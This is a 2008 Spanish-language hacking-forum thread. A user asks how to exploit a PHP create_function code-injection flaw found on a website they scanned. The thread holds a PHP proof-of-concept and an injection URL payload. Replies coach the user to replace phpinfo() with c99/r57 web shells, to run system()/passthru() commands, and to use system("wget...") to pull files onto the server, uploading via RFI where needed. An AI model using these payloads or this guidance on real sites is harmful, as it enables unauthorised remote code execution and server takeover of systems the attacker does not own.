Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: rixi15 en 15 Octubre 2008, 15:23 pm



Título: ¿Cómo explotar esta vulnerabilidad?
Publicado por: rixi15 en 15 Octubre 2008, 15:23 pm
Bueno he analizado una web y he encontrado este bug:

 
Código:
Web Servers : PHP create_function Code Injection Weakness 
Port 80 
Description PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.This weakness is reported in PHP 5.2.6; other versions may also be affected. 
How to fix Upgrade to the current version of PHP. 
Risk level High 
Related Links PHP HomePage.
 
CVE CVE-MAP-NOMATCH 
Bugtraq ID 31398 


he buscado y tengo este explot en php
Código:
<?php
# call as test.php?sort_by="]);}phpinfo();/*
$sort_by=stripslashes($_GET[sort_by]);
$databases=array("test");
$sorter = 'var_dump';
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';


usort($databases, create_function('$a, $b', $sort_function));

?>

Alguien sabe como lo puedo utilizar?
Gracias


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: nitr0us en 15 Octubre 2008, 18:46 pm
(http://www.genexx.org/nitrous/misc-filez/screensh0ts/PHP_create_function_p0c.jpg)

Citar
Web Servers : PHP create_function Code Injection Weakness

Inyección de código en la función create_function(), y en el exploit vemos:

Citar
$sort_by=stripslashes($_GET[sort_by]);
User-input = $sort_by

Citar
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';
$sort_function incluye $sort_by

Citar
usort($databases, create_function('$a, $b', $sort_function));
Entonces, create_function() es llamado con datos del usuario, el cual no sanitiza y lo parasea.

En el exploit viene una forma de usarlo:
Citar
# call as test.php?sort_by="]);}phpinfo();/*

Guardas el exploit como test.php y lo llamas como http://0xdeadb33f.gov/test.php?sort_by="]);}phpinfo();/*
Y el resultado debe ser la salida de phpinfo().

Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.

SaluD.o.S


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: Bender-Deicide en 16 Octubre 2008, 03:13 am
rixi te veo conocido? ajaj como andas?

Me desvie pero bueno y te sirvio lo que te dijo el colega?


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: rixi15 en 16 Octubre 2008, 15:18 pm
jeje hola huemulito no sabia que estabas en este foro
si me ha servido pero no me ha quedado muy claro como llamo al explot
con rfi o como


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: Azielito en 16 Octubre 2008, 16:52 pm
lo subes al server y lo ejecutas, si no lo podes subir directamente entonces con rfi como has mencionado, el "chiste" es que se ejecute en el server "afectado" :)

se me ocurre que en lugar de poner "phpinfo()" podrias usar system() o alguna variante :P

passthru() creo que tambien funca... y claro, enviarle comandos... tal vez...

system("wget...")...



Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: Eazy en 18 Octubre 2008, 01:03 am
No creo que tenga permisos para usar system or passthru, pero nunca hace mal probar.


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: OssoH en 17 Noviembre 2008, 15:29 pm
Tengo una web y me gustaria saber que programa usan para encontrarle vulnerabilidades ya que en ese caso me gustaría resolver el problema para hacerla más segura. La web consiste en una aplicación de gestión usuario/contraseña sin SSL. Supongo que es sin SSL ya que no me aparece el candado de seguridad al lado de la URL del navegador. ¿Me aconsejan SSL?
Gracias


Título: Re: ¿Cómo explotar esta vulnerabilidad?
Publicado por: AlbertoBSD en 17 Noviembre 2008, 15:50 pm


Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.

Esta intersante, voy a provarlo ahora mismo en mi servidor local.

SaluD.o.S


Jajaja  :laugh: :laugh: Que buen chiste

Igualemte Saludos y Gracias.


ss ss ss  Smurfff!!! a perdon esque estornude, estoy algo enfermo :xD